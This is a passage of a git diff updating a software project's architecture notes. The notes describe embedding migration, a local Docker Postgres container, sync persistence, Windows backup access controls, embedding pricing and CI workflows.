- `src/core/docker-postgres.ts` — gbrain's OWN docker Postgres container, the shared seam between the init ladder's docker rung and db-repair's `conn_refused` auto arm. `GBRAIN_PG_CONTAINER = 'gbrain-postgres'` / `GBRAIN_PG_IMAGE = 'pgvector/pgvector:pg16'` / `GBRAIN_PG_HOST_PORT = 5434` live HERE and only here (DRY — the init rung and the repair arm must never carry two string literals that can drift). Ownership contract: gbrain starts and reuses this container, NEVER stops or removes it, and never touches a container whose credentials it cannot recover via `inspectCredentials` (docker inspect → `POSTGRES_PASSWORD` env + the container's ORIGINAL port mapping — a freshly generated password can never match a surviving container; unrecoverable → refuse with a recreate-with-consent recipe). Hardening: the port binds loopback-only (`127.0.0.1:5434` — a single-machine brain store, not a network service); data lives on the named `gbrain-pgdata` volume so a container recreate never loses the brain; the password rides the child ENVIRONMENT (bare `-e POSTGRES_PASSWORD` — argv is world-readable in `ps`); `docker run` gets a 10-minute timeout (the first run synchronously pulls the image; 30s stays for cheap ps/inspect/start calls). `isGbrainDockerUrl` is the one predicate for "does this URL point at our container" (loopback + dedicated port — never error text).
-- `src/core/embedding-migration.ts` — provider-agnostic embedding migration core; owns the schema-transition + env-gate primitives. `runSchemaTransition(engine, targetDim)`: ONE transaction rebuilds all three dim-pinned text-embedding-space columns (`content_chunks.embedding`, `query_cache.embedding`, `facts.embedding`) preserving each column's `vector`/`halfvec` type, HNSW gated on `hnswIndexExpected` (dims > 2000 skip the index; exact scans stay correct — 2048d targets work); image/multimodal columns deliberately untouched; AFTER commit it clears `embedded_at` in yielding 50k batches (belt-and-braces hygiene — read surfaces key on the vector itself). `planEmbeddingMigration`: workload via widened stale predicates (absent-column fallback counts every chunk), cost, `signature_census` (top-5 page signatures — DB-reality corroboration of From), `synopsis_tier_pages` (context-tier downgrade consent), bundle-aware `reranker_warning`, `dim_change` via the shared `schemaRebuildNeeded` (null ⇒ rebuild, same computation apply uses). `applyEmbeddingMigration`: env≠target refusal (`detectEnvOverride`; `detectEnvPresence` drives the ==target notice) → marker v2 write (same-target re-apply preserves `started_at`; retarget records `superseded` history + `force_sunset_target`) → full rebuild when the chunks column is off-width, else INDEPENDENT repair of stale dim-pinned columns (`readDimPinnedWidths`) → false-target-stamp clearing (chunk-model truth) + guarded NULL-signature-inclusive invalidation (embed_skip pages' retained vectors preserved; both via `embedding-invalidation.ts`) BEFORE config writes (same-dim-swap crash safety) → DB plane → file-plane callback → cache purge. `verifyMigrationComplete`: the ONLY basis for "nothing to migrate" — column + pinned widths, wide stale census, false-stamp census blocker (embedded chunks whose `model` contradicts a page already stamped with the target signature), `missing_embeddings` residue, chunkless-pages census, embed_skip-NULL visibility (report-only detail, never a blocker), marker state, un-merged file plane (or env-canonical), env-contradiction blocker; never trusts `from_model`. `completeEmbeddingMigration`: marker delete + completion stamp in ONE transaction (no lost-receipt crash window); accepts content-free `extra` (smoke-check outcome). `readMigrationState` (corrupt-safe), `readMigrationStatus` (read-only, spend-free, everything-degrades-to-null), `verifySearchRoundTrip` (completion smoke check: query-side `embedQuery` + `searchVector`, hit identity by page_id, NEVER throws, warn-don't-block, content-free samples), `resolveRerankerExposure`/`resolveRerankerPlan`/`applyRerankerAction` (D8 companion switch: bundle-resolved exposure; auto→target-provider default reranker, never a silent third provider; config write + cache purge in one tx), `reconcilePageSignatures` (batch-boundary stamp repair). Engine-pure; every step idempotent under crash + re-run — the NULL-embedding column is the checkpoint. Pinned by `test/embedding-migration.test.ts`, `test/migrate-embeddings-hardening.serial.test.ts`, `test/e2e/migrate-embeddings-postgres.test.ts`.
+- `src/core/embedding-migration.ts` — provider-agnostic embedding migration core; owns the schema-transition + env-gate primitives. `runSchemaTransition(engine, targetDim)`: ONE transaction rebuilds all three dim-pinned text-embedding-space columns (`content_chunks.embedding`, `query_cache.embedding`, `facts.embedding`) preserving each column's `vector`/`halfvec` type, HNSW gated on `hnswIndexExpected` (dims > 2000 skip the index; exact scans stay correct — 2048d targets work); image/multimodal columns deliberately untouched; AFTER commit it clears `embedded_at` in yielding 50k batches (belt-and-braces hygiene — read surfaces key on the vector itself). `planEmbeddingMigration`: workload via widened stale predicates (absent-column fallback counts every chunk), cost, `signature_census` (top-5 page signatures — DB-reality corroboration of From), `synopsis_tier_pages` (context-tier downgrade consent), bundle-aware `reranker_warning`, `dim_change` via the shared `schemaRebuildNeeded` (null ⇒ rebuild, same computation apply uses). `applyEmbeddingMigration`: env≠target refusal (`detectEnvOverride`; `detectEnvPresence` drives the ==target notice) → marker v2 write (same-target re-apply preserves `started_at`; retarget records `superseded` history) → full rebuild when the chunks column is off-width, else INDEPENDENT repair of stale dim-pinned columns (`readDimPinnedWidths`) → false-target-stamp clearing (chunk-model truth) + guarded NULL-signature-inclusive invalidation (embed_skip pages' retained vectors preserved; both via `embedding-invalidation.ts`) BEFORE config writes (same-dim-swap crash safety) → DB plane → file-plane callback → cache purge. `verifyMigrationComplete`: the ONLY basis for "nothing to migrate" — column + pinned widths, wide stale census, false-stamp census blocker (embedded chunks whose `model` contradicts a page already stamped with the target signature), `missing_embeddings` residue, chunkless-pages census, embed_skip-NULL visibility (report-only detail, never a blocker), marker state, un-merged file plane (or env-canonical), env-contradiction blocker; never trusts `from_model`. `completeEmbeddingMigration`: marker delete + completion stamp in ONE transaction (no lost-receipt crash window); accepts content-free `extra` (smoke-check outcome). `readMigrationState` (corrupt-safe), `readMigrationStatus` (read-only, spend-free, everything-degrades-to-null), `verifySearchRoundTrip` (completion smoke check: query-side `embedQuery` + `searchVector`, hit identity by page_id, NEVER throws, warn-don't-block, content-free samples), `resolveRerankerExposure`/`resolveRerankerPlan`/`applyRerankerAction` (D8 companion switch: bundle-resolved exposure; auto→target-provider default reranker, never a silent third provider; config write + cache purge in one tx), `reconcilePageSignatures` (batch-boundary stamp repair). Engine-pure; every step idempotent under crash + re-run — the NULL-embedding column is the checkpoint. Pinned by `test/embedding-migration.test.ts`, `test/migrate-embeddings-hardening.serial.test.ts`, `test/e2e/migrate-embeddings-postgres.test.ts`.
- `src/core/engine-constants.ts` — single source of truth for engine batch-sizing constants. Exports `DELETE_BATCH_SIZE = 500` consumed by both engines' `deletePages` + `resolveSlugsByPaths` and by the sync delete + rename loops. Lives outside `engine.ts` (the interface module) to avoid circular-import worry — bounded per-statement work for predictable lock hold time + write amplification. Also exports `TRAVERSE_PATH_ROW_CAP = 5000`, the raw-row bound on `traversePaths`/`traversePathsDetailed` (both engines `LIMIT CAP + 1`; the extra row is the truncation probe; counted before edge dedup).
diff --git a/docs/architecture/key-files/evaluation.md b/docs/architecture/key-files/evaluation.md
index 13a46c4816..3059e54274 100644
--- a/docs/architecture/key-files/evaluation.md
+++ b/docs/architecture/key-files/evaluation.md
@@ -41,6 +41,6 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/eval/shared/autocut-replay.ts` + `scripts/replay-autocut-floor.ts` — pure replay of the autocut weak-top-floor sweep over captured rerank pools, and its CLI. INVARIANT: the replay uses the SAME `applyAutocut` the live path uses, over the SAME pre-autocut reranked pool (`gbrain eval longmemeval --capture-pool` → `rerank_pool`, unscored alias/exact-lookup rows included — dropping them would change `decision.total`), with the SAME preserve predicate (`alias_hit === true || exact_lookup === true`), and slices to k AFTER autocut exactly like hybrid.ts, so `validateLive(rows, floor)` can demand byte-for-byte agreement with the recorded live decision (`search_meta.autocut`, plus `autocut_kept_keys` when present) before any other floor cell is trusted. Every cell — including floor `off` — comes from ONE capture; no second reranker call. Metric semantics mirror the harness (`distinct` sessions among the first k kept chunk rows; `recall_all` = gold ⊆ distinct; `recall_any` = non-empty intersection), with the benefit metrics `mean_returned_results` / `mean_returned_est_tokens` (why autocut exists) and recall as the guardrail; `pairedDelta` gives wins/losses/net per type vs the first floor, `splitHalf(rows, seed)` gives a seeded half-A/half-B selection/confirmation split, `topScoreHistogram` publishes the reranker's top-score distribution. `normalizePoolRow` throws on a row without `slug`/`session_id` (a silently dropped row shifts every cliff). The script owns argv (`<capture.ndjson> --floors off,0.10,… [--k 5] [--validate-live F] [--split-half SEED] [--jump 0.2] [--min-keep 1] [--json]`; `--validate-live` takes exactly one floor), file I/O and printing; every metric it prints routes through `src/core/eval/metric-glossary.ts` (`REPLAY_GLOSSARY_KEYS`); exit 0 ok · 1 validate-live mismatch or bad input · 2 usage. Pinned by `test/replay-autocut-floor.test.ts`.
-- `src/eval/shared/embed-cache.ts` — content-addressed embedding cache for fixed-corpus evals (dataset-agnostic; the LongMemEval harness is its first consumer). INVARIANT: a cached vector is served ONLY for the exact `(model@dims, text, side)` it was computed for, and every row is integrity-checked on read (declared dims == stored bytes / 4 == vector length); a mismatch is a HARD `EmbedCacheIntegrityError` naming the file and the key — never a silent re-embed, because a silently corrupted cache makes every arm's vectors non-comparable. Key = `${model}@${dims}` (+ `#query` for query-side asymmetric embeds, so zembed/Voyage query vectors can never be served a document-side row) + `:` + sha256(text). Storage: `bun:sqlite`, WAL journal + `synchronous=NORMAL`, busy retry, one transaction per question's embeds; local filesystem only. `installEmbedCache` installs it through the gateway's `__setEmbedTransportForTests` seam (gateway.ts sits at its module-size ceiling; a named `setEmbedTransport()` hook is a filed follow-up) and restores the caller-supplied `realTransport ?? null` on uninstall. Stats: `hits`, `misses` (genuine misses PLUS every value of a batch that fell open on an infrastructure fault), `bypassed` (SDK model id ≠ the installed model — never cached), `infra_faults` (file deleted mid-run / table dropped / disk error → uncached re-embed or lost write-back, so a run that lost its cache can never show a clean `misses: 0`). The canonical hash (`PRAGMA wal_checkpoint(TRUNCATE)` then sha256 over the sorted `(key, dims, sha256(vector))` rows) goes into `run_config.cache.canonical_sha256` so two runs can prove they saw the same vectors. Pinned by `test/longmemeval-embed-cache.test.ts`.
+- `src/eval/shared/embed-cache.ts` — content-addressed embedding cache for fixed-corpus evals (dataset-agnostic; the LongMemEval harness is its first consumer). INVARIANT: a cached vector is served ONLY for the exact `(model@dims, text, side)` it was computed for, and every row is integrity-checked on read (declared dims == stored bytes / 4 == vector length); a mismatch is a HARD `EmbedCacheIntegrityError` naming the file and the key — never a silent re-embed, because a silently corrupted cache makes every arm's vectors non-comparable. Key = `${model}@${dims}` (+ `#query` for query-side asymmetric embeds, so asymmetric query vectors can never be served a document-side row) + `:` + sha256(text). Storage: `bun:sqlite`, WAL journal + `synchronous=NORMAL`, busy retry, one transaction per question's embeds; local filesystem only. `installEmbedCache` installs it through the gateway's `__setEmbedTransportForTests` seam (gateway.ts sits at its module-size ceiling; a named `setEmbedTransport()` hook is a filed follow-up) and restores the caller-supplied `realTransport ?? null` on uninstall. Stats: `hits`, `misses` (genuine misses PLUS every value of a batch that fell open on an infrastructure fault), `bypassed` (SDK model id ≠ the installed model — never cached), `infra_faults` (file deleted mid-run / table dropped / disk error → uncached re-embed or lost write-back, so a run that lost its cache can never show a clean `misses: 0`). The canonical hash (`PRAGMA wal_checkpoint(TRUNCATE)` then sha256 over the sorted `(key, dims, sha256(vector))` rows) goes into `run_config.cache.canonical_sha256` so two runs can prove they saw the same vectors. Pinned by `test/longmemeval-embed-cache.test.ts`.
- `src/eval/shared/judge-runner.ts` + `src/eval/shared/bootstrap.ts` — dataset-agnostic judge mechanics shared by the LongMemEval lane and any later judged eval. **judge-runner.ts** owns the chat-client seam (`JudgeChatFn` — the gateway `chat` in production, a canned fn in tests), bounded retries with exponential backoff (default 2 retries, base 500 ms, `sleep` seam), the closed `judge_error` vocabulary (`timeout | rate_limit | empty | refusal | malformed | provider_error`, exported as `JUDGE_ERROR_CLASSES`), usage summed over every attempt, per-call cost through the ONE canonical pricing table (`canonicalLookup`; an unpriced model yields `cost_usd: null`, never 0, and `isJudgeModelPriced` lets a budget refuse it), and the `BudgetLedger` (`maxUsd === null` = no cap; `canAfford(next)` is PROJECTED so a run never overshoots by more than the calls already in flight; unpriced calls are counted, not summed; `snapshot()` for receipts). INVARIANT: a judge malfunction is an error outcome, never a `verdict: 'incorrect'` — `runJudge` never throws on a transport failure (only an already-aborted `AbortSignal` or a bug in the caller's `parse` can), classifies 429 / rate-limit prose → `rate_limit`, abort / timeout → `timeout`, everything else → `provider_error`, and maps a `refusal` / `content_filter` stop, an empty completion and a null from `parse` to `refusal` / `empty` / `malformed`; the caller decides how the headline scores them. It passes `temperature` and `maxTokens` through `ChatOpts` and records `ChatResult.responseModel` as `response_model`. **bootstrap.ts**: `bootstrapMeanCi(xs, {resamples = 10000, seed = 42, alpha = 0.05})` is a seeded (mulberry32) percentile bootstrap of the mean, byte-reproducible; n = 0 → nulls, n = 1 → a degenerate `[x, x]`. INVARIANT: every block carries `label: 'question-sampling only'` — the interval quantifies how much the number would move under a different draw of questions and says nothing about reader / judge nondeterminism, dataset revision or prompt drift. Pinned by `test/longmemeval-judge.test.ts`.
diff --git a/docs/architecture/key-files/google-and-loops-continued.md b/docs/architecture/key-files/google-and-loops-continued.md
index f7ffb7ea23..ba53935dce 100644
--- a/docs/architecture/key-files/google-and-loops-continued.md
+++ b/docs/architecture/key-files/google-and-loops-continued.md
@@ -15,9 +15,9 @@
- `src/core/persistence/diagnostics.ts` — trusted administrator counts for owners/epochs, queued bytes/age, outbox recovery, configured quota usage and actionable capacity warnings; bigint values are transport-safe strings and diagnostics exclude intent, credentials and private paths.
-- **`src/core/persistence/sync-discovery.ts`** — managed owner-only Git discovery, source-relative exclusions, committed/working-tree manifests and one-statement page identity/revision snapshot. Resume validates caller, source and owner context before loading the durable cursor; existing cursors reuse their accepted manifest without rediscovery. Unsupported code/image and Git mutation variants fail before any canonical write.
-- **`src/core/persistence/sync-run.ts`** — strict durable managed sync cursor in `op_checkpoints`: one immutable request at a time, bounded fairness yields, pinned-target resumption and completion after the journaled source checkpoint. Failure observations are synchronous/deduplicated; explicit idle ordinary-source retry replaces failed cursor intent with fresh discovery/admission, retaining terminal receipts. Queued/running/recovering requests and approved company manifests do not reset. A full success does not erase a different failed incremental cursor; counts remain cumulative for their run.
-- **`src/core/persistence/sync-prepare.ts`** — provider preparation outside publication with guarded raw fingerprint/revision and source-exclusive exhausted-cursor checkpoint. Newline-only CRLF equivalence is accepted at freeze, but raw CAS remains exact; real content, identity, binding or cursor changes still fence publication. A successful retry receipt advances the same entry without making failed receipts mutable. No uncoordinated filesystem writes.
+- **`src/core/persistence/sync-discovery.ts`** + **`sync-origin.ts`** — managed owner-only Git discovery with source-relative exclusions and one-statement page identity/revision snapshots. Nested full discovery filters source scope before slicing paths. Windows separator aliases retain their page identity; ambiguous aliases refuse, while POSIX backslashes/case remain exact. Deletions must be absent from the pinned Git target or their explicitly selected working tree. Existing cursors reuse their accepted manifests, with unknown old deletion provenance refused rather than rewritten.
+- **`src/core/persistence/sync-run.ts`** + **`sync-authority.ts`** — one immutable request at a time, bounded fairness and pinned-target resumption. Cursors and requests freeze `noEmbed`, `noExtract` and `noSchemaPack`; mismatched resumes refuse. Explicit idle ordinary-source retry creates fresh discovery/admission and retains terminal receipts; company consent retry retains its approved manifest/run. Active work blocks replacement. Claimed/inactive sync, including connector/company dispatch, remains refused: existing leases and native locks do not fence already-running engine-only legacy writers. No automatic activation or new transition protocol.
+- **`src/core/persistence/sync-prepare.ts`** — guarded raw fingerprint/revision, source root and active coordinator checks before preparation and at locked publication. Old imports/checkpoints without durable processing consent refuse under their original IDs; old deletions require their immutable origin manifest and a still-matching page origin. `noEmbed` suppresses the effect itself; `noSchemaPack` bypasses pack loading; optional extraction stays disabled, but mandatory provider-free canonical projections remain. CRLF equivalence never weakens raw CAS. No uncoordinated filesystem writes. Tests: `persistence-sync-origin-native.serial.test.ts`, `persistence-sync-options.serial.test.ts`, `persistence-sync-company.serial.test.ts`.
- **`src/core/persistence/sync-authority.ts`** — trusted CLI or original remote generic job authority; rejects stdio bulk privilege promotion and runtime option expansion, intersects original grants with current principal/source policy.
- `src/core/facts/withdrawal-overlay.ts` — pure legacy-fence enumeration and withdrawal rendering shared by coherent snapshots, stale imports and physical forget mirrors. Fingerprints match independently in each fence, including inactive history; parser-recognized markers precede preserved evidence context and earlier expiry remains intact. Regression: `test/withdrawal-overlay-concurrency.test.ts` on both engines.
diff --git a/docs/architecture/key-files/google-and-loops.md b/docs/architecture/key-files/google-and-loops.md
index 7fb35b7eec..91e1e9f647 100644
--- a/docs/architecture/key-files/google-and-loops.md
+++ b/docs/architecture/key-files/google-and-loops.md
@@ -30,7 +30,7 @@ operation: `skills/google-loops/SKILL.md`.
- `src/commands/doctor/checks/google-oauth.ts` — the `google_oauth` doctor check: zero-network vault health (live refresh probes belong to `gbrain google status`; doctor stays fast and offline-safe). fail: a connected account with an expired access token AND no successful refresh in >2 days (refresh is broken — revoked, rotated client, or the Testing-mode expiry already hit); warn: a consent screen not known Production whose last proof of life is ≥5 days old (the proactive day-6 re-auth demand, cheaper than a dead pipeline on day 8); ok: accounts healthy or nothing connected (the connector is optional, not an error).
- `src/core/agent-install/` + `scripts/setup-in-agent.sh` — Package-versioned non-root installation into a verified persistent root. Absolute launchers isolate ambient routing and credentials; local launchers pin the host brain and installed source, while thin-client launchers leave unqualified routing to the remote grant and preserve explicit CLI arguments. Receipts track ownership, pending enablement, non-secret failure codes, and an exact repair command, and repair retains database contents. Upgrades journal pending schema migrations before switching runtime metadata; retries use schema-only initialization without invoking host orchestration. Busy results remain structured and retryable without deleting live locks. Native instructions/routines remain pending until observed in the actual harness.
-- `src/core/backup/archive.ts` + `src/core/backup/snapshot.ts` — Private bounded full-PGLite snapshots with file inventories, checksums, credential-reference exclusions and fresh-root restoration. Hold the database lock, detect changing inventories, validate private staging before publication, rebase managed paths, detach external roots, and quarantine nonterminal restored jobs without deleting spending evidence. Never replace the source installation.
+- `src/core/backup/{archive,snapshot,quarantine,private-path}.ts` — bounded full-PGLite snapshots with checksums, credential-reference exclusions and fresh-root restoration. Portable entry validation rejects traversal, Windows aliases and case/normalization/file-directory collisions independently of native confinement. Recorded path flavor controls nested managed-path rebasing; unrecognized absolute page origins stay unchanged with reconnect guidance. Hold the database lock, detect changing inventories, detach external roots and quarantine unfinished jobs without deleting spending evidence. Windows uses direct .NET file/directory security APIs through bounded built-in PowerShell, without cmdlets, to protect new empty work/root/archive-temp paths before payload writes. Readback requires the current owner, protected DACL and exact deduplicated owner-plus-SYSTEM full-control rules, inheritance and propagation; unavailable enforcement refuses without changing existing parents or source data. Never replace the source installation. `backup-portability-native.serial.test.ts` checks real restore, fresh-process reopen, failure preservation and platform-native access controls with an independent read-only ACL inspector.
- `src/core/harness/registry.ts` — Canonical adapter identities, supported transports, credential-delivery mechanisms, guide links and dated evidence; legacy connection/register vocabularies derive their facts here. `scripts/build-harness-docs.ts` emits the user-facing adapter reference.
- `src/core/harness/credentials.ts` + `delivery.ts` + `install.ts` — Private credential handoff and host delivery journal, ownership-preserving native configuration and isolated thin launchers. A committed active client and matching current secret are prerequisites for recovery. Machine handoffs preserve optional POST/Basic authentication methods. Native setup is a distinct nested-client artifact; metadata reads never access journals or SDK client objects containing hashes. Configuration removal and server revocation are separate actions.
diff --git a/docs/architecture/key-files/providers.md b/docs/architecture/key-files/providers.md
index b9d4a8eec9..8cdb82c045 100644
--- a/docs/architecture/key-files/providers.md
+++ b/docs/architecture/key-files/providers.md
@@ -27,11 +27,11 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/embedding-invalidation.ts` — signature-truth guards shared by the migration + embed paths, engine-pure via `executeRaw` (identical SQL on both engines). `invalidateStaleSignatureEmbeddingsGuarded(engine, {signature, sourceId?, includeNullSignature?})`: same semantics as the engines' `invalidateStaleSignatureEmbeddings` PLUS the `NOT (frontmatter ? 'embed_skip')` predicate every stale selector applies — never NULL what nothing will re-embed (without it a migration would destroy vectors retained on embed_skip pages permanently and silently). Chunks whose model, current text hash, and vector width already match the target are preserved across interrupted batches, and fully current pages are restamped without another embedding call. Both engines use the shared current-space predicate. ALL invalidation call sites (`applyEmbeddingMigration`, `runEmbedCore`, `embedStaleChunks`) route through it. `countFalseStampedChunks` / `clearFalseStampedSignatures`: the chunk-model truth cross-check — pages stamped WITH the target signature whose embedded chunks' `model` names another provider (bare provider-less model tails exempt, no surprise paid re-embed); count feeds plan/verify/`--status` honesty, clear runs in apply so the NULL-signature-inclusive invalidation re-embeds them. Pinned by `test/embedding-migration.test.ts` (`#4305 false target stamps + #4306 embed_skip-safe invalidation`).
-- `src/core/embedding-pricing.ts` — `EMBEDDING_PRICING` map keyed `provider:model` for the post-upgrade reindex cost estimate. Sibling to `anthropic-pricing.ts`; EMBEDDINGS only — chat/completion pricing lives in `model-pricing.ts` (different unit) and is never mixed in. Every entry carries its official source URL + the date it was last read. Entries: OpenAI text-embedding-3-large ($0.13/1M), 3-small ($0.02/1M), ada-002 ($0.10/1M); Voyage 4-large ($0.12/1M), 4 ($0.06/1M), 4-lite ($0.02/1M), legacy 3-large ($0.18/1M), 3 ($0.06/1M); ZeroEntropy zembed-1 ($0.05/1M), zerank-2 ($0.025/1M); Mistral mistral-embed ($0.10/1M); Perplexity pplx-embed-v1-4b ($0.03/1M), 0.6b ($0.004/1M). `voyage-4-nano` is deliberately unpriced (open-weight variant, no published hosted rate) so it degrades to "estimate unavailable" rather than a fabricated 0. `lookupEmbeddingPrice(modelString)` returns a tagged union (`known` with price + `unknown` with provider name); `estimateCostFromChars(charCount, pricePerMTok)` uses 3.5 chars/token. Unknown providers degrade to "estimate unavailable" instead of fabricating numbers.
+- `src/core/embedding-pricing.ts` — `EMBEDDING_PRICING` map keyed `provider:model` for the post-upgrade reindex cost estimate. Sibling to `anthropic-pricing.ts`; EMBEDDINGS only — chat/completion pricing lives in `model-pricing.ts` (different unit) and is never mixed in. Every entry carries its official source URL + the date it was last read. Entries: OpenAI text-embedding-3-large ($0.13/1M), 3-small ($0.02/1M), ada-002 ($0.10/1M); Voyage 4-large ($0.12/1M), 4 ($0.06/1M), 4-lite ($0.02/1M), legacy 3-large ($0.18/1M), 3 ($0.06/1M); Mistral mistral-embed ($0.10/1M); Perplexity pplx-embed-v1-4b ($0.03/1M), 0.6b ($0.004/1M). `voyage-4-nano` is deliberately unpriced (open-weight variant, no published hosted rate) so it degrades to "estimate unavailable" rather than a fabricated 0. `lookupEmbeddingPrice(modelString)` returns a tagged union (`known` with price + `unknown` with provider name); `estimateCostFromChars(charCount, pricePerMTok)` uses 3.5 chars/token. Unknown providers degrade to "estimate unavailable" instead of fabricating numbers.
- `src/core/embedding.ts` — OpenAI text-embedding-3-large, batch, retry, backoff. `BATCH_SIZE=100` (per-recipe pre-split + recursive halving + adaptive shrink-on-miss live in the gateway; the outer paginator is for progress-callback granularity, not batch protection). `estimateEmbeddingCostUsd(tokens)` prices against the currently-configured model's rate via `currentEmbeddingPricePerMTok()` (resolves the per-1M-token rate via `lookupEmbeddingPrice(gatewayGetModel())` from `embedding-pricing.ts`, falling back to the OpenAI 3-large rate 0.13 only when the gateway is unconfigured or the model is unknown to the pricing table). `EMBEDDING_COST_PER_1K_TOKENS` retained for back-compat with direct importers/tests. `currentEmbeddingSignature(): string` returns the embedding-provenance signature `<provider:model>:<dims>` (e.g. `openai:text-embedding-3-large:1536`) stamped onto `pages.embedding_signature` at every embed-write site; DELIBERATELY excludes the chunker version (tracked separately via `pages.chunker_version`) — this signature is strictly the EMBEDDING space, so a model OR dimension swap makes the stored signature differ from current and a page becomes stale. Same unconfigured-gateway fallback as the cost helpers. (See `src/core/sync-delta.ts` + `src/core/spend-posture.ts` for the cost-gate supporting modules.) `willEmbedSynchronously({v2Enabled, serialFlag, noEmbed}): SyncEmbedMode` retains the package-exported compatibility contract for downstream TypeScript and JavaScript consumers. The command-internal `resolveWorkerBackedSyncEmbedMode({deferEligible, noEmbed})` uses the engine-aware admission result, so PGLite/unknown runtimes stay inline while worker-backed Postgres preserves v2 deferral even with one runnable source; source count separately controls fan-out. `shouldBlockSync(costUsd, floorUsd, mode, posture='gated'): boolean` is the pure cost-gate decision: blocks ONLY when `mode === 'inline' && costUsd > floorUsd` — deferred mode never blocks (the backfill's $X/source/24h cap is the real money gate), and `posture === 'tokenmax'` never blocks (the operator declared cost isn't the constraint; an `off`/`unlimited` floor is `Infinity` and so is never exceeded). Pinned by `test/sync-cost-preview.test.ts` + `test/embedding-signature-stale.test.ts`. The Google embedding recipe caps each provider batch at 100; gateway splitting preserves input/vector order.
-- `src/core/init-embed-check.ts` — embedding-key validation at `gbrain init`. `runInitEmbedCheck(opts)` runs a config-only `diagnoseEmbedding` (catches a missing key for ANY provider) plus a best-effort `liveTestEmbed` (1-token `gateway.embed(['probe'], {inputType:'query', abortSignal})`, 5s `AbortController` timeout, never throws — catches an invalid/expired key). Loud warning to stderr; init still exits 0 (`--no-embedding` is the deferred-setup escape; `--skip-embed-check` / `GBRAIN_INIT_SKIP_EMBED_CHECK=1` skip the check). Builds the effective env (`process.env` + every file-plane provider key `buildGatewayConfig` folds — openai/anthropic/voyage/zeroentropy/dashscope/google — from `loadConfigFileOnly()` + `opts.apiKey`) and configures the gateway via `buildGatewayConfig` before diagnose/probe, so the check sees the same keys AND provider base URLs runtime will (no false "missing key" for config.json-keyed users; the probe hits the right endpoint). Init-specific warning text names `--no-embedding` / `--skip-embed-check`, not the sync-flavored `--no-embed`. Wired into `initPGLite` + `initPostgres` in `src/commands/init.ts`, with the result added to the `--json` envelope as `embedding_check {ok, reason?, live_ok?}`. Pinned by `test/init-embed-check.test.ts` (hermetic via the gateway embed-transport seam + `withEnv`).
+- `src/core/init-embed-check.ts` — embedding-key validation at `gbrain init`. `runInitEmbedCheck(opts)` runs a config-only `diagnoseEmbedding` (catches a missing key for ANY provider) plus a best-effort `liveTestEmbed` (1-token `gateway.embed(['probe'], {inputType:'query', abortSignal})`, 5s `AbortController` timeout, never throws — catches an invalid/expired key). Loud warning to stderr; init still exits 0 (`--no-embedding` is the deferred-setup escape; `--skip-embed-check` / `GBRAIN_INIT_SKIP_EMBED_CHECK=1` skip the check). Builds the effective env (`process.env` + every file-plane provider key `buildGatewayConfig` folds — openai/anthropic/voyage/dashscope/google — from `loadConfigFileOnly()` + `opts.apiKey`) and configures the gateway via `buildGatewayConfig` before diagnose/probe, so the check sees the same keys AND provider base URLs runtime will (no false "missing key" for config.json-keyed users; the probe hits the right endpoint). Init-specific warning text names `--no-embedding` / `--skip-embed-check`, not the sync-flavored `--no-embed`. Wired into `initPGLite` + `initPostgres` in `src/commands/init.ts`, with the result added to the `--json` envelope as `embedding_check {ok, reason?, live_ok?}`. Pinned by `test/init-embed-check.test.ts` (hermetic via the gateway embed-transport seam + `withEnv`).
- `src/core/llm-json.ts` — tolerant JSON extraction from LLM output. `parseLlmJson<T>(raw, {array?})` walks a strategy ladder (strip ```json fences → direct parse → first `{...}`/`[...]` substring), then — only after the raw parse has failed — retries the same ladder with reasoning blocks stripped, so a payload that parses raw is untouched and a payload legitimately containing `<think>` is unaffected; returns null on any failure (adversarial throws swallowed). Exports `stripReasoningBlocks(raw)`: removes closed `<think>…</think>` pairs AND a truncated never-closed `<think>` tail (output-budget exhaustion) — reasoning models draft their JSON inside the think block, which defeats the greedy first-to-last-brace substring scan. `src/core/facts/extract.ts`'s hand-rolled `parseExtractorJsonDetailed` applies the same raw-first fallback ladder with the shared `stripReasoningBlocks`.
diff --git a/docs/architecture/key-files/tooling-and-tests.md b/docs/architecture/key-files/tooling-and-tests.md
index 63d3619b74..65827f710f 100644
--- a/docs/architecture/key-files/tooling-and-tests.md
+++ b/docs/architecture/key-files/tooling-and-tests.md
@@ -7,6 +7,8 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `.github/workflows/test.yml` — required full validation remains the default for pushes, pull requests and manual runs. Explicit manual `native_only` uses a distinct concurrency group to preserve in-flight full persistence soaks, runs the unchanged native matrix, and emits only a scoped native result (`full_ci: false`), never the full-suite aggregate check name. `test/scripts/native-only-workflow.test.ts` evaluates the actual event/input conditions and executes the scope/result scripts; `test/scripts/ci-gates.test.ts` retains all default required-result failures.
+- `.github/workflows/native-locks.yml` — native glibc Linux, macOS and Windows jobs also run publication, Git helper, historical sync-origin and backup portability contracts in separate Bun processes, collecting fatal suite outcomes. macOS/Windows publication fixtures require an actual case-insensitive filesystem. Separate six-cell Windows diagnostic jobs opt into a directory-only hidden-window comparison and file/directory cmdlet-versus-production comparisons after real PGLite setup; neither filters or replaces native acceptance. `test/fixtures/windows-backup-cmdlet-protect.ps1` freezes the old program for A; B forwards the actual production program. The separate read-only `windows-backup-dotnet-inspect.ps1` reports actual owner/SYSTEM, protected-DACL, rights, inheritance and propagation for the independent oracle. The persistence deployment matrix separately executes the publication journal and all three sync-safety suites with PostgreSQL; E2E parity wrappers select them in the local full gate. `test/scripts/data-safety-native-workflow.test.ts` pins mandatory native/database execution without ignored failures and requires both file and directory observations; actual results, not configuration or simulated paths, establish platform coverage.
+
- `scripts/build-pglite-snapshot.ts` — `bun run build:pglite-snapshot [--profile legacy|default]` bakes post-schema PGLite snapshots. Legacy (the default) matches the unit preload; default follows canonical CLI embedding defaults. Profiles have disjoint tar/version/lock paths and CI cache keys. Version sidecars retain schema-byte hash, dims and model. The builder requires PID/token lock ownership, only reclaims confirmed dead owners using its retirement protocol, times out on live/unknown locks, and publishes temporary files via atomic rename with the version last. Normal release and crash recovery retain the same nonempty owner tombstone so a delayed observer cannot move a replacement lock. `scripts/lib/test-env.sh` exposes `ensure_pglite_snapshot` (legacy primary env) and `ensure_default_pglite_snapshot` (absolute auxiliary `GBRAIN_TEST_DEFAULT_SNAPSHOT`); failure visibly falls back to cold init. `GBRAIN_NO_SNAPSHOT=1` clears both and survives preloads. BrainBench overrides only CLI children, including run-all, to the default path. The production loader's per-process memoization, schema/shape refusal and in-memory-only gate remain authoritative and unchanged. Keep `computeSnapshotSchemaHash` and every CI profile cache key aligned with 